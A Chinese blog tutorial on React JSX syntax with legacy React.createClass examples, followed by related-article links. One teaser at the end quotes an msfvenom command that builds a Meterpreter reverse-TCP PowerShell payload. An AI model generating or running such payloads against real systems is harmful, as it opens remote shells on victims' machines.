摘要

react 学习包括几个部分:

  • 文本渲染
  • JSX 语法
  • 组件化思想
  • 数据流

JSX 语法

1. 定义

JSX 是javascript + xml 的合集,我们可以将javascript 与 html 一起编写, 封装页面组件的html 格式与业务逻辑。但使用 JSX 时,一定要编写成能精确定义和反应组件及属性的树状结构,避免无法解析,虽然目前还没遇到过无法解析的情形。

2. 如何区分javascript 与 xml

JSX 代码中 以 {} 包含的为 javascript 代码, <> 包含的为 html 代码,解析时采用对应的语法解析器

3. React 模块

约定分别使用首字母大、小写来区分本地模块的类和 HTML 标签。

  1. html 标签,JSX 中以小写字母开头
  2. react 组件,JSX 中以大写字母开头
<body>
<div id="HelloWorld"></div>
<div id="HelloWorld1"></div>
</body>
<script src="../build/react.js"></script>
<script src="../build/JSXTransformer.js"></script>
<script type="text/jsx">
var hw = <div>hello,world</div>;
var HelloWorld = React.createClass({
clickHandler: function() {
console.log(this.props);
console.log('yes, click event has been fired!');
},
render: function() {
return (
<p onClick={this.clickHandler}>
你好,{this.props.name}, 欢迎大驾光临!
</p>
);
}
}); React.render(
<HelloWorld name={'huxiaoyun'} />,
document.getElementById('HelloWorld')
); React.render(
hw,
document.getElementById('HelloWorld1')
);
</script>

4. html 属性

自定义属性采用data 开头, 比如 data-index 表示此dom 节点的序列号

5. 注意点

  • 前面的代码都用了JSXTransformer.js,发布时一定要提前编译为javascript,可安装 react-tools 进行转化,自动化工具也可使用gulp 对应的插件gulp-react

  • JSX 其实是一种语法糖,它将JSX 代码翻译成javascript,某些情况无法实现,如下面

<body>
<div id="HelloWorld"></div>
</body>
<script src="../build/react.js"></script>
<script src="../build/JSXTransformer.js"></script>
<script type="text/jsx">
var a = true;
// 不正确写法,暂不知道原因
// var helloWorld = <div id=if (a) { 'success'} else { 'fail'}>hehehe</div>;
// var helloWorld = <div>{if (a) <div id='success'>Hello World!</div> else <div>Hello World!</div>}</div>;
// 正确写法
var helloWorld = <div>{a ? <div id='success'>Hello World!</div> : <div>Hello World!</div>}</div>;
React.render(
helloWorld,
document.getElementById('HelloWorld')
);
</script>
  • 不支持某些html 属性,如 class for , JSX 中替换为 className htmlFor

  • JSX 大小写敏感

    比如 onClick 如果写成 onclick 是无法触发事件的

<body>
<div id="HelloWorld"></div>
</body>
<script src="../build/react.js"></script>
<script src="../build/JSXTransformer.js"></script>
<script type="text/jsx">
var HelloWorld = React.createClass({
clickHandler: function() {
console.log(this.props);
console.log('yes, click event has been fired!');
},
render: function() {
return (
<p onClick={this.clickHandler}>
你好,{this.props.name}, 欢迎大驾光临!
</p>
);
}
}); React.render(
<HelloWorld name={'huxiaoyun'} />,
document.getElementById('HelloWorld')
);
</script>
  • 行内样式时不能采用引号的书写方式,正确方式如下
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>行内样式</title>
<style type="text/css">
.big {
font-size: 20px;
}
</style>
</head>
<body>
<div id="HelloWorld"></div>
</body>
<script src="../build/react.js"></script>
<script src="../build/JSXTransformer.js"></script>
<script type="text/jsx">
var HelloWorld = React.createClass({
render: function() {
return (
<p style={{color:'red'}} className="big">
你好,{this.props.name}, 欢迎大驾光临!
</p>
);
}
}); React.render(
<HelloWorld name={'huxiaoyun'} />,
document.getElementById('HelloWorld')
);
</script>
  • html 格式文本展示,举个例子:
<body>
<div id="HelloWorld"></div>
</body>
<script src="../build/react.js"></script>
<script src="../build/JSXTransformer.js"></script>
<script type="text/jsx">
var HelloWorld = React.createClass({
render: function() {
return (
<p>
你好,{this.props.name}, 欢迎大驾光临!
</p>
);
}
});
// 转义
// var content = <div>huxiaoyun</div>;
// 不转义,作字符串输出
var content = '<div>huxiaoyun</div>';
React.render(
<HelloWorld name={content} />,
document.getElementById('HelloWorld')
);
</script>

【JAVASCRIPT】React学习-JSX 语法的更多相关文章

  1. 前端笔记之React(一)初识React&组件&JSX语法

    一.React项目起步配置 官网:https://reactjs.org/ 文档:https://reactjs.org/docs/hello-world.html 中文:http://react.c ...

  2. React的JSX语法及组件

    最近一个同事很急没有做任何交接就请了陪产假,然后我来维护.说实在的我一开始是一脸懵逼的.因为MV*项目里用的最多的还是Vue:React听说也了解过,但毕竟不熟... 不过不管如何这也是工作:同事也恭 ...

  3. react 的JSX语法需要注意哪些点?

    注释方式 ReactDOM.render( <div> {/*JSX 中的注释方式*/} </div>, document.getElementById('root') ) j ...

  4. React之JSX语法

    1. JSX的介绍   JSX(JavaScript XML)——一种在React组件内部构建标签的类XML语法.react在不使用JSX的情况下一样可以工作,然而使用JSX可以提高组件的可读性,因此 ...

  5. React之jsx语法特性

    jsx 语法,直接可以在js中使用html标签. 还可以通过花括号的形式,在html标签中,写js表达式. <div> { 1 + 2 } hello,world! </div> ...

  6. 3.react 基础 - JSX 语法

    1.最基础的 JSX 语法 普通javaScript中 引入 标签 let html = '<h1>hello</h1>'; jsx语法 let JSX_html = < ...

  7. react的jsx语法

    在webpack.config.js中配置解析的loader { test:/\.jsx?$/, use:{ loader:"babel-loader", options:{ pr ...

  8. React的jsx语法,详细介绍和使用方法!

    jsx语法 一种混合使用html及javascript语法的代码 在js中 遇到<xx>即开始html语法 遇到</xx>则结束html语法 恢复成js语法 例如: let D ...

  9. React使用JSX语法

    目录: 1.在React项目中启用JSX语法 2.在JSX中写js代码 3.使用JSX注意事项 1.在React项目中启用JSX语法  <--返回目录 JSX语法:符合xml规范的js语法 JS ...

随机推荐

  1. javascript中document.form[formName][]的意思

    近来重新学习javascript发现还有很多知识点模糊,今天就javascript中的document.forms[formName][inputName]进行说明: <!DOCTYPE htm ...

  2. JS读写浏览器cookie及读取页面参数

    JS读写浏览器cookie及读取页面参数 var zbrowser = { //设置浏览器cookie,exdays是cookie有效时间 setCookie: function (c_name, v ...

  3. 纯CSS3美化单选按钮radio

    这种纯CSS3美化单选按钮radio的方法适用于以下情况: 1.可兼容IE9以上,需要兼容IE8的要写IE的hack把样式去掉 2.只支持单选按钮radio,因为单选按钮选中样式的圆圈可以用CSS做出 ...

  4. swiper结合ajax的轮播图

    Swiper 是什么:是纯JavaScript打造的滑动特效插件,能够实现触屏焦点图.触屏tab切换.触屏多图切换等常用效果. 开源.免费.稳定.应用广泛. 这就是swiper简单的介绍,由于是结合a ...

  5. Java学习笔记--反射API

    反射API 1.反射API的介绍 通过反射API可以获取Java程序在运行时刻的内部结构.比如Java类中包含的构造方法.域和方法等元素,并可以与这些元素进行交换.     按照 一般地面向对象的设计 ...

  6. vue项目构建与实战

    关于 微信公众号:前端呼啦圈(Love-FED) 我的博客:劳卜的博客 知乎专栏:前端呼啦圈 前言 由于vue相对来说比较平缓的学习过程和新颖的技术思路,使其受到了广大前后端开发者的青睐,同时其通俗易 ...

  7. 让gdb能打印C++中的容器类型

    由于原生的gdb对vector,map等容器的支持不太好,所以找到了一个工具,将这个工具集成到gdb中,就可以实现map,vector等容器的内容的打印操作. 1.用vim将下方的代码拷贝到一个新的文 ...

  8. SequoiaDB版本在线升级介绍说明

    1.前言 在SequoiaDB数据库发展过程中,基本保持每半年对外发行一个正式的Release版本.并且每个新发布的Release版本相对老版本而言,性能方面都有很大的提高,并且数据库也会在新版本中加 ...

  9. 官方Tomcat镜像Dockerfile分析及镜像使用

    官方Tomcat镜像 地址:https://hub.docker.com/_/tomcat/ 镜像的Full Description中,我们可以得到许多信息,这里简单介绍下: Supported ta ...

  10. 利用powershell反弹shell到metasploit

    一.使用msfvenom生成PS1文件: msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST= -f psh-reflection >.p ...